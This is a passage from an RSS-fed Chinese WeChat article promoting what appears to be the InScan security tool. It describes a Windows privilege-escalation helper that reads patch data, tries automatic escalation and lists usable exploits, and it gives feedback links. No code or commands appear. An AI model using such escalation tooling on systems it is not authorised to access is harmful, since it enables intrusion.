border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">提权辅助</h3><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">windows自动采集补丁信息，如当前非管理员权限，可自动化进行简单提权，同时也会列出可提权exp，进行手工提权。同时也可粘贴其他地方的systeminfo进行提权查询。</p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.48671875" data-s="300,640" data-type="jpeg" data-w="1280" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=0e3ae066&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FdzeEUCA16LJgvpfzb7h9bOIdWGxlnmDXcELHHGNMTicj8EY6SwubMpMBTFgRrxtLyUUGqB8JIbKrzOX90Ieh0PA%2F640%3Fwx_fmt%3Djpeg"/></p><h3 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.25em;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">提交反馈</h3><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">如有好的建议，以及发现BUG。<br style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>GitHub issue: <a href="https://github.com/inbug-team/InScan/issues" target="_blank">https://github.com/inbug-team/InScan/issues</a></p><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;font-weight: 600;overflow-wrap: break-word !important;">官网(生成扫描器)：</span> <a href="https://www.inbug.org" target="_blank">https://www.inbug.org</a></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">同时也可通过公众号联系：</p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;white-space: normal;text-size-adjust: auto;letter-spacing: 0.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-backh="568" data-backw="568" data-ratio="1" data-s="300,640" data-type="jpeg" data-w="1280" style="width: 667px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=dc6f908a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FdzeEUCA16LJgvpfzb7h9bOIdWGxlnmDXPGpf61AslibrtJLPZZSMYnc9KiaRrFtXa6Obj39xiaqtRqlaVJCNWcGrg%2F640%3Fwx_fmt%3Djpeg"/></p>



<p><a href="https://www.inbug.org">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=23089c04&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247483680%26idx%3D1%26sn%3Da48423a8d43bb9e948f6b40a855c812f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 12 Apr 2021 10:00:00 +0800</pubDate>
    </item>
  </channel>
</rss>